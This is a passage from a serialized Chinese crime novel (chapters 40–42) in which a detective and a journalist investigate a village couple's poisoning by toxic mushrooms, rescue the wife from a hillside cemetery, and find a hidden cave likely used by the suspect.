“李家一般什么时候吃晚饭?”秦梓需问。 “一般下午5点就吃了,山里人吃晚饭吃得早。”吉克道。 “除了泥石流塌方的那条道路,出镇子还有几条路?”秦梓需又问。 吉克表情一凛,思索了片刻,道:“塌方那条路是南下去昆明的路,镇子东北有一条荞小段,可以上蓉丽高速,往成都去。镇西也有路可以出去,是往大凉山去的。” “也就是说,镇子不是因为南面那条路塌方了就被封死了?” “当然。” “镇子上有汽车的有多少户人家?” “起码也有三百多户。” “塌方发生时具体是几点?” “应该是傍晚18:00差几分。” “镇子上最后一班长途车发车是什么时候?” “我记得是往成都的,最晚18:30发车。”吉克道。 秦梓需看了一下手表,拿出手机将饭食拍照留证,然后道:“现在是夜里10点45分,你打电话给你们所长,让他安排人立刻在镇子的其他出口设卡,暂时不要放任何车辆出去。 “小宋你留下保护现场,我们进来可能已经破坏现场了。另外,这些饭菜要留存好,送去化验。我们去附近邻居家问问。” 秦梓需的一系列问题让一行人都意识到这件事的蹊跷,心都提到了嗓子眼。虽然人人心里挂着疑问,但都没有出声询问。 他们连忙跟着秦梓需出了屋子,找到附近的邻居询问李家的情况。 根据邻居所说,大概傍晚五点半时,听到李家吵吵嚷嚷的,因为他们家经常家暴,邻居都习以为常了,没当回事。但是很快,李富国就冒着大雨开着农用三轮出门去了,也不知道干什么去了。 至于王永荷去哪儿了,邻居表示没关注,不知道。秦梓需还问了他们是否有看到除了老两口之外的第三人进入李家,邻居也说没在意。 众人问了一家没问出来,又问了第二家,也是差不多的回答,但问及王永荷下落时,有个小男孩突然从卧室里跳出来,道: “我看到王嬢嬢了,她往山上去了。” 这小男孩正是秦梓需一行刚到药山镇那天下午,在操场上冲着吉克喊话的小男孩。 男孩的爸爸连忙捂嘴,道:“别瞎说,下那么大雨你看见什么了?睡迷糊了吧,快回去睡觉去!” “我真的看见了!那会儿我在……我看到王嬢嬢沿着山道往山上去了,她捂着肚子,走路一摇一晃的,很奇怪的样子……”男孩虽然对自己当时在干什么语焉不详,但对王永荷的下落却说得非常肯定。 秦梓需连忙问:“那山上是什么地方?” “就是坟,镇子里有人去世了,都会抬棺湳枫上去埋葬。”吉克道。 秦梓需连忙掉头就跑,众人也急急忙忙跟上去。秦梓需虽然体力很好,脚步也快,可到底不熟悉山路,很快被身体灵活、力量更胜一筹的吉克反超。吉克在前打着电筒带路,众人踉踉跄跄地在大雨里沿着山道往上跑。 这山道只简单用石板做了简易台阶,下雨后,石板非常滑,众人这一路上来,也不知道磕磕绊绊摔了多少跟头。 好不容易,终于在吉克的带领下来到满是坟包的镇公墓群,已入子时,雨打林叶、山风森冷,这诡秘阴森的环境霎时就让所有人鸡皮疙瘩直竖。 5个人的手电在坟包之间乱打,秦梓需大喘着气问: “吉克……李家女儿的坟在哪儿?” “我记得……我记得在这儿!”吉克看上去也有些慌,回忆了好一会儿才想起来,连忙迈步去找。 众人跟着他,走了好一会儿,终于在穿过一大片墓群后,一转弯,看到了一个倒在地上的黑色人影。 那黑色人影就倒在一座坟墓前,众人的电筒照过去,照亮了墓碑:爱女李芝华之墓。 “王嬢嬢!”吉克大喊一声,忙跑了上去,第一时间去探鼻息,随即喜道,“还有气!” “打120!”章弥真连忙拿起自己的手机,结果没电了。 “120很难到这里,来不及。”吉克道。 “那就赶紧打电话给村长,叫他派人来!”章弥真对吉克喊道。 “我来打,我有村长电话。”耿剑秋已经开始打电话了。 秦梓需此时已经赶到近前查看,王永荷的嘴角还挂着呕吐的污渍,皮肤发青湳枫发白,整个人处在晕厥状态中。 人还在呼吸,呼吸道没有受阻,坟前地面上有明显的跪压痕迹,还有一滩已经被雨水冲淡的呕吐物。她膝盖上的泥水痕迹比其他地方重,王永荷明显在这里跪了一会儿,然后才因为呕吐晕厥过去了。晕厥的原因可能与心脏和神经有关,不排除心梗的可能性。 秦梓需立刻下了判断,喊道: “弥真,你赶紧下山喊人上来,让他们带担架、备车!吉克、耿队,我们三人合力把人抬下去,不能耽误时间,她必须立刻送医院抢救!” 章弥真转身就往山下跑,下山路况更为糟糕,路面湿滑简直让她难以立足,她使出了浑身解数,让自己在不摔倒的情况下,尽量维持相对快的奔跑速度。好在她平时健身的效果总算是显出来了,穿着湿透了的布鞋,反倒比胶鞋更脚步轻快,哪怕已经鏖战了一整天,她也压榨出最后的体力快速奔跑。 另一头,吉克双臂勾住王永荷的腋下,将她上半身抬了起来。耿剑秋反身,勾住王永荷的双膝膝窝,将她的腿部抬起,夹在自己的腰两侧。秦梓需则在中央,单臂抬起王永荷的腰臀部。 耿剑秋在前带路,三人合力将王永荷往山下抬。他们的速度比章弥真就要慢了许多,下坡本就路滑,加上抬了一个人,三人要不断找准重心,以防摔倒。而晕厥的人是死沉死沉的,哪怕有三个人的力量,仍然十分吃力。 雨水打湿了的雨衣外表湿滑,人在手里不断往下掉,他们只能咬牙一直坚持着,走一步算一步地往山下缓慢前行。 他们前进的照明全靠秦梓需空出来的那只手里的手电,微弱的光芒在这毒泷恶雾、昏黑惨寂的山上,显得无比单薄。看不见镇子上的灯光,好像行走通向黄泉幽冥的道路上。他们只感到心头一阵阵的发毛发慌,催发肾上腺素飙升,只凭着一口气坚持着。 好在下方坡道上突然出现了好几束强光手电,有一波黑簇簇的人影如蜿蜒蟒蛇一般在山道上攀爬而来。 “喂!120担架来了!”章弥真的声音穿过雨声传来,她的嗓音已经哑了。 抬着王永荷的三人霎时大松一口气,只一口气泄了,突然就有些走不动了。他们在原地僵了一会儿,总算等到下面人带着担架爬上来。当王永荷被合力抬到担架上时,耿剑秋、吉克都要累瘫了,坐在地上大喘气。 秦梓需却还是坚持着,跟着山民救援队往山下赶。章弥真也紧跟其后,看不见丝毫走不动的迹象。 耿剑秋、吉克不想被丢在这凄风苦雨的山上,只得咬牙起来,拖着酸软的身躯跟着一起下山。 一刻钟后,王永荷被紧急送到了镇上的卫生所救治。经过了半小时的抢救,王永荷的命保住了,但仍然需要进行住院观察。 当凌晨时分,医生从抢救室出来准备说明情况时,他看到卫生所外候诊大厅的长椅上,瘫坐着四个人。秦梓需、章弥真、耿剑秋和吉克,都一身泥泞,累得昏睡了过去。 第40章 第四十章 “秦老师……秦老师?” 一声呼唤将秦梓需从短暂的睡梦中叫醒,秦梓需猛地睁开眼,有那么一瞬昏天黑地,一下子想不起来自己身处何地,在做什么。 眼前出现了一张沧桑的中年男子的脸庞,五官是典型的西南汉子的模样。 秦梓需晃神了片刻,终于认出了眼前人是谁,正是镇派出所所长。 他叫秦梓需起来,把靠在秦梓需肩膀上的章弥真也吵醒了。后者迷迷糊糊坐正身子,龇牙咧嘴地按压自己的脖颈。 另一头,耿剑秋和吉克还在呼呼大睡。而卫生所外头,天已经亮了,雨也已经几乎不下了。 秦梓需望了一眼手表,早上6:35分。 所长操着带有浓重的本地口音的普通话,道: “秦老师,不好意思,打搅您休息了。昨晚上实在是太感谢你们了,来,喝点热姜茶。” 说着就将手里端着的一纸杯热姜茶递给秦梓需。 秦梓需接过,抿了一口,冰寒的胃里顿时涌入一股暖流,血液似乎都被激活了。而所长又去倒了一杯热姜茶给章弥真喝。倒完后,他提着装姜茶的保温桶,有些拘谨地道: “有几个事想和您汇报一下。” “咳,所长,您说。”秦梓需清了清糊住了的嗓子,活动了一下肩颈,这一动,顿觉浑身酸痛无比,像是被人打了一顿。 “几件事,一个是塌方一个小时前已经抢通了,不过目前还不让走车。 “二是您让我们做的封路,我们做了,大概是夜里11点封路的,到现在还没人出去过。而且我们也连夜在镇子里做了搜索,近期镇子里除了您几位外地来的人之外,还真没有其他外地人来。 “三是王永荷抢救过来了,医生说确实是环柄菇中毒,洗了胃,人还在昏睡中,还要观察。 “四是保护现场和取证的事,我们已经上报了县里,今天会有县局刑侦大队的人来调查。” 秦梓需点头:“好,我知道了。李富国的尸体怎么样了?” “送到镇里的殡仪馆去了。”派出所所长道。 “李富国的尸体需要法医解剖,确定确切死因。他们家昨晚上的事,多半涉及到刑事犯罪。他们家和镇子里的人结仇了吗?或者有什么财务纠纷?”秦梓需问道。 所长答得很果决:“没有,这个真没有。李富国虽然常年打老婆,但和镇子上的人还真就没有什么仇怨纠纷,这么多年了,也没见他和谁吵过架红过脸。这家伙就是窝里横,在外面窝囊得很。邻居上他们家劝架,他也是人前不动手的。” “是吗?怎么上回我们去他家,制止他打人,他还敢对我横呢?”旁边醒来有一阵子没说话,只是捧着热姜茶喝的章弥真,听到这里忍不住出声道。 “诶呦……这……”所长一时语塞。 “昨天我在塌方现场见到了好多村民,是不是镇子的男人普遍都去救援了?”秦梓需转而问道。 “是的,起码来了一大半。”所长道。 秦梓需道:“所以有一大半的镇民可以排除嫌疑。毒蘑菇是和菜炒在一起的,李家做饭的只有王永荷,所以要么是她故意放的毒蘑菇,要么就是下毒的另有其人,她也是在不知情的情况下吃了毒蘑菇。 “如果是前者,她自己也吃了毒蘑菇,可能是奔着同归于尽去的。但同时她家中还被翻得乱七八糟,这就很奇怪。 “而如果是后者,那就更蹊跷了,那人显然是想要在她家找什么东西。一般来说,翻找家里都是为了求财,但为了求财就直接下杀手,而且还找上了这么一户人家,未免也太不符合逻辑了。” “难道是想伪装成妻子下毒和丈夫同归于尽?”章弥真问。 秦梓需不答反问:“而且,凶手怎么知道这天王永荷会做什么菜?怎么就这么刚刚好能掉包王永荷的蘑菇呢?” “这个等王永荷醒来,问问就知道了。”所长道。 “王永荷的神经有没有受损,短时间内能不能醒来?”秦梓需又问。 “这……医生没说,镇上的卫生所毕竟条件一般,还不至于能做那么精密的检查。”所长道。 “你们要保护好她,凶手杀人未遂,现在还藏在暗处,虽说我推测人已经跑了,难保还会不会杀个回马枪。”秦梓需道。 所长哂笑了一下,道:“不至于吧秦老师,我实在搞不明白,怎么会有人盯上这么个农村妇女呢。如果是有人盯上她们家的赔偿款,那怎么早不动手呢?这都好些年过去了,赔偿款据说都给他家儿子置办彩礼了,他们家是真的没钱。我看,多半还是王永荷自己糊涂了,没分辨出来是毒蘑菇。家里翻得那么乱,也很有可能是李富国那个家伙自己搞的,他喝醉了发酒疯,什么事都有可能做得出来。” “嗯,别的先不提,李富国昨晚很可能没喝酒,我们到现场时,没看到餐桌旁有酒瓶。有没有喝酒,等验尸就知道了。而且他昨晚为什么要冒着大雨开着农用三轮出镇子,这还是个未解之谜。”秦梓需道。 随即她补充道:“此外,你们最好上附近山上搜索搜索,找找看有没有露营的痕迹。没有人入住镇子里面,不代表没有人露宿在山上,如果真有这样一个人盯上他们家,非要在他们家找到点什么,还要致他们于死地,那无非两种可能,要么和他们家的儿子有关,要么就和他们家的女儿有关。 “而我更倾向于后者,因为他们家的女儿也同样死于食物中毒。这种巧合,想想也未免有些太让人起疑了。” 所长的五官都纠结在了一起,大概是实在想不通到底为什么这样一户寻常的农村人家,竟然会被人盯上。 说话的这段时间,耿剑秋和吉克也醒了,两人睡眼惺忪地听完了秦梓需和所长之间的谈话,一时半刻还没反应过来。 所长见他们也醒了,顺手也给他们倒了热姜茶,道:“这样吧,秦老师你们也辛苦了一晚上了,赶紧回去洗个澡换身衣服,我已经让宾馆给你们准备好热饭热菜了,赶紧吃点热乎的下去,暖暖身子。县里的侦查队伍大概今天下午能赶到,到时候,还得麻烦秦老师你们跟着去现场指导一下。” 几人没有异议,派出所专门派车将他们送回了宾馆。下车时,耿剑秋突然一拍脑门: “诶呀!我把装证物的包丢在我们从昆明回来的那辆车上了。” “没事,我记得我下车时锁车了,不会丢的。我来跟刚才那个同事说一声,让他把车和证物带回来。”吉克不慌不忙地找到了刚才开警车把他们送回来的那个警察,把车钥匙给了对方,叮嘱了几句。 对方点头,很快离去。 “幸亏你昨天下车时没有带包,这番折腾,你要是还把证物背在身上,该多遭罪。”秦梓需安慰了他一句。 “诶……真没想到会遇到这么一件节外生枝的事。”耿剑秋感叹道。 秦梓需沉吟了片刻,欲言又止。 几人回了房里,洗去满身的脏污和疲惫。章弥真倒在床上,就累得再也不想下床了。秦梓需见状,道: “你想吃点啥?我去给你带回来吧。” “你看着办吧老秦,谢谢啦。”章弥真窝在被窝里,有气无力地回道。 秦梓需笑了下:“你昨晚表现很英勇,我决定给你加个鸡腿儿。” 章弥真从被窝里伸出右手,比了两根手指,道:“两个。” 等秦梓需带饭回来时,章弥真惊讶地发现她竟然还带了一双雪白的运动鞋和一双专业的登山雨鞋给她: “我注意到你穿的是38码,你试试看合不合适。” “都说了不要你买鞋了啊,诶哟……”章弥真从床上坐起,捋了下凌乱的长发,眼底有一丝惊喜。 “你看看你这花布鞋都成泥布鞋了,前头都开线了,不买难道光着脚走路吗?别瞎客气了,试试合不合适。”秦梓需转身去旁边桌上放下饭食。 章弥真其实心里很欢喜,但嘴上却还是道:“这两双鞋哪儿买的?这专业牌子,镇上杂货店里没有卖的啊。” “前天晚上在昆明,趁你洗澡的时候,我出门去买的。买完后存在了车后备箱里,就没拿出来。”秦梓需解释道,“刚正好遇上吉克的同事把车开回来了,我就把鞋子带上来了。” 章弥真抿唇,试了又试,穿着很合脚很舒服。 “谢谢你老秦,你真好!” 秦梓需感到有点臊得慌,只道:“你别老给我发好人卡了,赶紧来吃饭吧。” 章弥真本还不觉得饿,一闻到饭菜香,顿时感觉胃里空绞起来,她知道自己这是饿过头了,毕竟从昨天中午到现在她都没有吃过一点东西。 二人并排在酒店的贴墙桌边坐下,先闷头扒饭。秦梓需也是饿坏了,待几口饭菜下肚,才觉得人踏实了,转不动的脑筋也有了燃料了。 “老秦,你说这事儿怎么会这么巧的?我们该不会是柯南附身了吧,走哪儿哪儿出案子?”章弥真也开始瞎琢磨起来。 “哪儿有走哪哪儿出案子?”秦梓需好笑反问。 “那不是……算了。”章弥真本想掰着手指列举一下,结果思来想去发现好像确实没法列举,但她就是有那么一种被事儿追着的感觉。 “咱俩是因为何文月案碰头的,确实是巧合碰上,后头撞上抓捕那也是节外生枝。但后续遇上的事,不都跟咱们现在在查的案子有关嘛。”秦梓需道。 “那这次李富国和王永荷这对夫妻的事,和咱们在查的案子有关系吗?”章弥真问。 “难说。”秦梓需道,“至少目前,还没看到直接关联的证据。但这夫妻俩的遭遇确实很蹊跷,女儿在韩国食物中毒没了,现在夫妻俩又赶在这个裉节上吃毒蘑菇出事,实在是蹊跷。” “你这说了跟没说一样,咱们要留下来查这事儿吗?”章弥真确认道,“我就是觉得,这个时间点实在太巧了,怎么就让咱们赶上了呢? 秦梓需若有所思地说道:“该说是巧合吗?如果没有发生泥石流塌方,我们是不会再回来的。所以,如果有另外一条世界线,这个案子发生时我们都不在场,王永荷很有可能会因为错过了抢救的黄金时间而死亡。” “那是不是还可以再往前面倒,如果咱们没来药山镇,这一切会发生吗?”章弥真放下筷子,望向宾馆窗外,天阴沉沉的,但大雨似乎终于后继乏力,不再落个不停。 秦梓需道:“问得好,虽然公安办案必须讲证据,但证据链挂不上的时候,还是靠经验和直觉比较多。我直觉这夫妻俩的案子发生不是巧合,确实和咱们有关系,所以值得一查,也许咱们还能挖出点什么。我总觉得,杨莲之后的事远没有结束,至少,我们得把杨莲遗留下的那个文件盒与老校长接手之间这个空档期到底发生了什么查明白,链条才能完整。” “对了,证物呢?你要不要拿回来咱们亲自保管,我不大放心放在耿剑秋那里。”章弥真道。 “嗯……一会儿我跟耿商量一下,暂且把证物存到派出所的保险库里去。”秦梓需想了个折中的办法,随即调和道,“我觉得他这回和咱们一起出力,鏖战一整夜,一点也没掉链子,这个人底子还是不错的。你也放轻松点,多一个朋友总比多一个敌人要强。” “嗯……不是我老盯着他不放,实事求是地说,我总觉得他有些心不在焉的,似乎查这个案子他就没进入状态,和咱们不同频啊。这也是我的直觉,也许真是我偏见了。行吧,你这三番五次地劝和,我也不能让你难做,我顶多就是把他当空气,犯不着非得和他过不去。”章弥真黑/道老大似的拍了拍秦梓需的肩膀。 秦梓需抱拳:“多谢女侠给小的面子。” “哈哈哈……”【你现在阅读的是 】 40-50 第41章 第四十一章 吃完饭,秦梓需去找耿剑秋,两人一起将杨莲的文件盒存进了隔壁派出所的证物库中。在存入证物前,秦梓需还对照着清单列表和早先拍下的照片一一核对无遗漏。如此,才放下心来。 秦梓需回酒店房间时,章弥真已经收拾干净房间,又躺回床上去补眠了。秦梓需也跟着睡下,一口气补了4个小时睡眠的两人,在下午2点多被电话吵醒。 来电的是吉克,县里的刑侦大队来了,吉克让她们赶紧下来,到派出所汇合。 两人迅速起床更衣,章弥真学乖了,换上了秦梓需刚为她买的登山雨鞋,那双白色运动鞋她没舍得穿,先收了起来。 下楼时,章弥真打了个呵欠,道:“吉克不会是没睡吧,到底是年轻,我感觉我年纪过了30以后,确实体力不如从前了,熬夜也不大能熬得动了。” “你已经够可以的了,还想怎么熬啊?你昨晚上那真叫一个神行太保啊。”秦梓需走在她后面,好笑道。 章弥真神情严肃:“你要知道,这人世间能做出一番成绩的人,无人不是熬夜王,要动用别人休息睡觉的时间来奋进,付出常人难以想象的心血,才能取得超越常人的成就……” 她话到一半就被秦梓需打断:“等等,大记者,温着你的鸡汤,派出所已经到了,要喂鸡汤就要喂给领导吃,必须显得你特别伟大才行。” 章弥真咬牙,冲她背上揍了一拳,秦梓需笑呵呵受下了。 她们在派出所的会议室里见到了县刑侦大队派来的人,是队长亲自带队来的,他带来了4名侦查员,还有痕检3人、法医2人,对于一个偏远县级大队来说,这个阵容已经相当豪华了。 大队长名叫邹天,是个相当干练少语的人,听所长介绍完情况,又和秦梓需等人简单认识一下,他就二话不说带队出发了。 第一站就是李家所在的坡上,车子停在坡下,两名法医不下车,车子送他们去殡仪馆验尸。剩余一行人直接走上去。 现场拉起了警戒线,看守现场的警员已经不是小宋了。因为镇上来电了,网络也通了,此时的小宋正在派出所内部继续查秦梓需安排给他的事。他一样几乎一夜未眠,但好歹没有秦梓需等人的奔波劳累之苦,歇了几个小时,还算精神不错。 邹天开始安排工作,三名痕检先进入现场,待他们铺好勘查安全路径,其余人才好方便入内。 邹天则亲自带着侦察员,先分头到附近邻居进行查访,主要的侦查内容,一是关于昨夜发生了什么,村民们都在做什么。二是关于李家人际关系的询问,这些都是侦查要做的最基本工作。 邹天询问了一下秦梓需等人是要留下等待现场勘查,还是跟着一起去查访。秦梓需却并未二选一,而是提出打算上山。 众人完全不解她要做什么,所长忙道: “秦老师,您是要查有没有人露宿的痕迹吗?我们派人到山上去看了,没有发现呢。” 秦梓需笑了笑,道:“没发现很正常,山上那么大,哪儿能那么容易发现呢。不过我是打算找找看褐鳞环柄菇的生长位置,也许会有所发现。所以,我需要吉克帮忙带路。” 所长还待说什么,他害怕秦梓需这些外地来的“领导”在山上出事,靠山吃山的人都知道进山危险,要敬畏山林。但邹天却插话道: “好,秦老师你们上山去,多管齐下,节省时间。” 这下所长也不好发表意见了。秦梓需还进一步提出了一条侦查意见: “这镇子不通铁路,查一查封路前出去的长途大巴车,如果嫌疑人是在封路前走的,他很有可能就是坐的长途大巴。尤其是最晚的18:30往成都的那一班车。” 邹天显然和她想到一块儿去了,点头道:“放心,这事儿还挺紧急,我昨晚接到案情通报时,就让派出所去查了,名单拿到手,但实在没查出什么来,等你们回来咱们再详细谈。” 和聪明人说话就是轻松,秦梓需交代完该交代的,就跟着吉克上山去了。此行上山的除了章弥真、耿剑秋,还有一位皮肤黝黑的小姑娘。所长不放心,专门派她跟着一起来。 别看着小姑娘身高不足一米六,长得小巧玲珑,却是个跑山长大的孩子,如山中精灵一般身形轻盈灵巧,在山上如履平地。她比吉克还要熟悉这片山林,家里世代采药,她还是个小毛娃时就被祖母背着进山劳作了。 她名叫沙马阿果,刚从警校毕业,进入派出所实习。她和吉克的关系不错,一直喊吉克“阿阳哥”,从外人的角度来看,这一对青年男女看上去还挺登对。 秦梓需问起褐鳞环柄菇生长的位置,小姑娘道: “这个很难说,山上的环境都有可能长出来,主要看菌根的分布。我知道几个比较顽固的菌根。” “那这些菌根附近有没有山洞?而且这个山洞要比较隐蔽的,但又比较靠近下面的村子。最好是平时不会有人去的。” 要同时满足这么多条件,可把阿果给难到了。她望着天想了一会儿,道:“有,还真有一个!就是菌根并不完全靠近,只是我小时候在那儿见到过,你们跟我来吧。” 众人开始在山间穿行,章弥真气喘吁吁地跟着上攀下滑,走着一些完全谈不上是路的路,她感觉自己的膝盖都开始疼了。昨天晚上,她那一通跑山,当时因为肾上腺素飙升不觉得有啥,事后膝盖就感觉疼得慌,这两天她跑的山路已经赶上这辈子的总和了。 但是没办法,还是得咬牙继续顶着。 由于湿度极大,这些树木植被上都挂着雨露,山林间水雾蒸腾,能见度很低。因此即便没下雨,众人仍然穿着雨衣,不然走不了一会儿,衣服就全湿了。 她们沿着一条只有采药人才比较熟悉的脚踩出来的羊肠山道,绕过坟地的东侧向上,最后停在了一株苍翠的老树跟前。这老树斜斜地生长在山壁跟脚上,它的后方就是一片挂下来的爬山虎,密密簇簇,看上去就像一面织得针脚极密的绿挂毯。 阿果绕过老树,拨开了“绿挂毯”,后方竟然露出一个洞口。这洞口实在太隐蔽,藏在树后,又被爬山虎遮蔽,而且入口的直径可能都不足50公分,人体型稍微胖一点,可能都钻不进去。 “这个洞是这个树从山体上分离后出现的,我小时候喜欢钻到里面玩儿。我记得大概距离这里几十米远的地方,有一棵树的树根下有环柄菇的菌根。” 几人跟着她先去找褐鳞环柄菇,好一番查找,最后是眼尖的吉克发现了一个刚被挖过的菌根。众人如获至宝,连忙将菌根整个挖了出来,装入证物袋。待到植物学基因匹配上,就可证明李家夫妻吃下去的毒蘑菇就是从这株菌根中生长出来的。 随即众人又返回了那棵歪斜老树所在的位置,秦梓需蹲下身,拨开“绿挂毯”,打着电筒往洞里面照。章弥真也弯下腰,跟着光线瞧,顺带问道: “这里面有多深?” “也就躺一个人的深度,大概……一米多?其实本来没那么深的,我为了能钻进去稍微舒服点,往里面挖了不少。”阿果解释道。 “现在这里面可不只是一米多了。”秦梓需捡了个石子儿,往里面丢去,估算道,“可能被拓宽了一倍以上,能有两米,相当于是个天然的帐篷。而且,这里面明显有躺压的痕迹,泥土都是平实的。” “有多少人知道这个洞?”章弥真问。 “这个……至少据我所知,就我一个人知道。阿阳哥之前应该也不知道。”阿果的话语里带着点小得意。 “我确实不知道。”吉克挠头道。 “你有多久没有进过这个洞了?”秦梓需问阿果。 “啊……自从我出去上学,我就再也没有钻过这个洞了,毕竟长大了嘛。”阿果道。 “你看这爬山虎,这里有新鲜的折断痕迹,这棵树上也有剐蹭的痕迹,树皮磨掉了一块。明显近期有人钻进来过,洞里的泥土上压实的痕迹也很新鲜。但这个洞,明显不是最近被拓宽的,感觉是挖了很多次,才被拓宽到这个地步。” 秦梓需说到这儿,突然探身钻了进去。但她没有完全进去,只是侧躺在洞口,用电筒一寸寸仔细照过去,试图找到点什么。 “您在找什么?”阿果问。 “她在找毛发。”章弥真道。 秦梓需找了半天,遗憾道:“这个家伙很小心啊,他可能一直包着脑袋睡觉的,不管怎么样,一会儿让痕检上来一趟,做个采样。” 说着从地上站起身,章弥真帮她拍去背上的泥土和草籽。 秦梓需从这个位置向山下张望了一下,从这里可以看到村里人家的屋顶,能看到家家户户升起的炊烟。 “阿果,你家在哪儿?”秦梓需问。 “哦,我家就是李家后面的那幢房子,5幢。” “5幢?你们村里也有门牌号啊,那李家是的门牌号是什么?”章弥真还是头回注意到村里的门牌号。 “李家是1幢。”吉克回道。 “在这里可以看到李家吗?”秦梓需问。 “可以的,您看,从靠近咱们的那幢屋子开始往山下数,这一溜纵列都是单数。最靠近咱们的是7幢,往前就是我家5幢,我家再往前就是1幢了。” “好奇怪的编号,3幢在哪儿?”章弥真问。 “3幢老屋拆了嘛,那个屋本来也是李家的,准备给他儿子盖房子的,但他家儿子不回来了,所以李家气得把老屋彻底拆了,就留了快空地。”阿果解释道。 “那个7幢……是老校长家吗?”秦梓需不确定地问。 “对的,就是江校长、陆奶奶他们家。”阿果点头道。 怪不得阿果会选择这里当秘密基地,这个位置能把这一串屋子的屋顶都纳入眼底,屋里升起炊烟,也能第一时间捕捉到,这样放学后在山上撒野的小孩子一看到家里生火做饭了,就知道要回家了。 连小孩子都懂的道理,凶手经过一番勘查,应该也能明白。 但是凶手居然能在短时间内找到这么个隐蔽的藏身之处,秦梓需却觉得不大可能。这个凶手给秦梓需一种很奇怪的感觉,他好像是个外来人,从来不曾在镇子里被村民实际观察到。但他又好像对这片山林很熟悉,能够找到一个只有山娃子阿果才知道的隐蔽洞穴。 也就是说,他可能并不是第一回来这里了。他来了很多很多遍,几乎每一回都会在这附近的山林里徘徊。他从不下山,只在山上隐蔽地观察着一切,犹如一个幽灵。 这种行事作风,越发带给秦梓需熟悉的感觉。强烈的直觉冲击着她的大脑,尽管她一直用理性压制着,可内心深处有一个声音嘶吼着:这个凶手就是他!是他找过来了! 可是……为什么呢?这里面困惑秦梓需的问题太多了。首先他为什么会盯上李富国家?其次他到底在李富国的家里找什么呢?如果他是因为杨莲的事才找了过来,他该找上门的人不该是老校长江志高家吗? 这显然只有一个答案,那就是在凶手的意识里,李家才与他的生死存亡息息相关,他自始至终都没有关注过老校长家。 李富国到底为什么会在吃完了那顿饭后,突然驾驶农用三轮车出镇,他到底打算干什么去?如果他没有遭遇泥石流,他应该已经顺利出镇子了。是凶手把他引走的吗?凶手到底有没有下杀手的意图,他又是怎么下的毒蘑菇?王永荷在这其中到底扮演了怎样的角色? 逻辑链条似乎发生了怪奇的错位,秦梓需必须解开这些谜团。 她打断了众人七嘴八舌的关于门牌号的议论,沉声道: “走吧,我们去现场看看。” 第42章 第四十二章(投雷加更No.7) 秦梓需五人从山上下来,恰好半道上遇到了正在附近侦讯的邹天。邹天带着两个侦查员正巧刚走到7幢,也就是老校长家门口,看到了一行人从山上下来,便立刻打招呼。 秦梓需迎上前去,将她们在山上的发现先说了,邹天神情一凝,连忙打电话给正在1幢做现场勘查的痕检,让他们匀出一个人到山上采样。邹天还把自己身边的一个侦查员派了过去当帮手。 “秦老师,这个案子,您现在有什么初步的看法?”邹天请教道。 “案情有些复杂,有些事我也只是推测,暂时没有实证。但,我认为李富国、王永荷这对夫妻发生的事,可能与我们正在查的连环积案有关联。所以邹队,这个案子不能等闲视之。” 邹天思索道:“如果凶手一直就埋伏在山上,寻找机会用毒蘑菇给李家夫妇下毒,把他们都引走后,他进入室内,搜寻他要找的东西。然后他必须尽快离开现场,您认为他最有可能乘坐的是长途大巴对吧。 “我现在就跟您说,现在长途大巴买票都是实名制,我们拿到了昨天案发后所有购买大巴票并离开的乘客名单。其实因为大雨和塌方,大巴车好多班次都取消了,昨天开去成都的晚班车也取消了,也就大概5:00到5:30这半小时开出去了两班车,一共也没多少人,里面全都是本地人,至少是本县的人,没有外地人。” “确定所有出镇子的大巴全都是实名制吗?”秦梓需问道。 “哦……那倒不是湳枫,有县域公交也出镇子,那个就是刷卡上车,投币也行,不实名制。”邹天想道。 “县域公交最晚一班是什么时候?” “也是晚上18:30。” “昨天正常运行了吗?”秦梓需问。 “这……”邹天一下答不上来。 “还得查。”秦梓需微微一笑。 邹天有种上学被老师提问答不上来的挫败感,他尴尬笑了下,随即转换话题道:“秦老师,我们正打算问问这户人家关于昨晚的情况,您要不要一起?” 秦梓需点头,她正有此意。章弥真完全跟随秦梓需侦查,耿剑秋主动提出由他来查县域公交的事,秦梓需有些意外,随后便让吉克带着他去了。 于是分头行动,秦梓需、章弥真又一次来到了老校长家里。陆奶奶再次接待了一大群警察,这回就连老人都感觉到不大对劲了,她神情显得紧张而拘谨,回答问题时也显得有些支支吾吾。 邹天询问她昨天案发的时候,有没有见到什么可疑的人员,或者听到了什么可疑的动静。老人耳背,自然是听不见外面有什么动静的,她说昨晚雨下得太大了,家里屋顶漏水了,她一直忙着收拾漏水,也没关注外面到底发生了什么。 邹天很有耐心,反反复复问了很多遍,一直在启发老人回忆。以至于旁边的章弥真都有点不耐烦了,她心疼老人,不想看老人这么无措的样子。 不过,老人竟然还真就回忆起了一件小事,她道: “我昨天早上好像看到李富国上山去了。” “昨天早上吗?几点?”邹天连忙确认道。 老人道:“六点多吧,我起来后没多久的事,我出来拿柴火顺带喂鸡,就看到李富国沿着山道往山上去了。我还纳闷,这老李啥时候这么勤快过,一大早的进山。” “您能给我指一下吗?”邹天道。 老人迈着蹒跚的步伐,带着众人走到堂屋后头,堂屋后是院子,左手侧搭了一个大棚,里面堆着柴火、养着鸡。从堂屋后门的位置向山上望去,确实能看到一条上山的羊肠道。只是哪怕在眼神比较好的警察群体看来,那羊肠道的位置也比较远了,若真有人从上面走过,似乎很难清晰地判断身份。 “陆奶奶,您怎么知道是李富国的?”邹天确认道。 “就是他嘛,穿着他那件永远不带换的迷彩夹克,还戴着那个洗得发白的藏蓝帽子,加上走路的那个样子,就是他。”老人似乎很笃定。 众人彼此相顾,一时无言。 这一条目击证词虽然不算特别准确,但着实有价值。不过要再问老人还注意到了什么,老人也实在是说不出来了。 于是秦梓需接过话茬,该换了话题,询问道: “陆奶奶,您还记得我吧。我这次来,也是有个问题想要请教您。这问题比较冒昧,老校长是因为什么疾病去世的?” “诶,就是心肌梗死,一下人就没了。”老人道。 “有诊断书吗?我们想要看一下。”秦梓需道。 “有,你们要这个做什么?”老人很困惑。 “就是做个参考。”秦梓需答得模糊。 老人最终也没细问,就又去房里翻找起来。秦梓需和章弥真跟过去,章弥真追问道: “老校长在去世前,行为举止有没有表现出什么异常?他的情绪是怎么样的?” 老太太嘟囔道:“能有什么异常,老头子到死都是那个样子,闲不下来。成天忙来忙去的,也不知道在忙些啥。医生都说了,他就是太操心,太劳累了,诱发了心肌梗死。” 秦梓需直接问:“他有没有表现出很害怕的样子?” 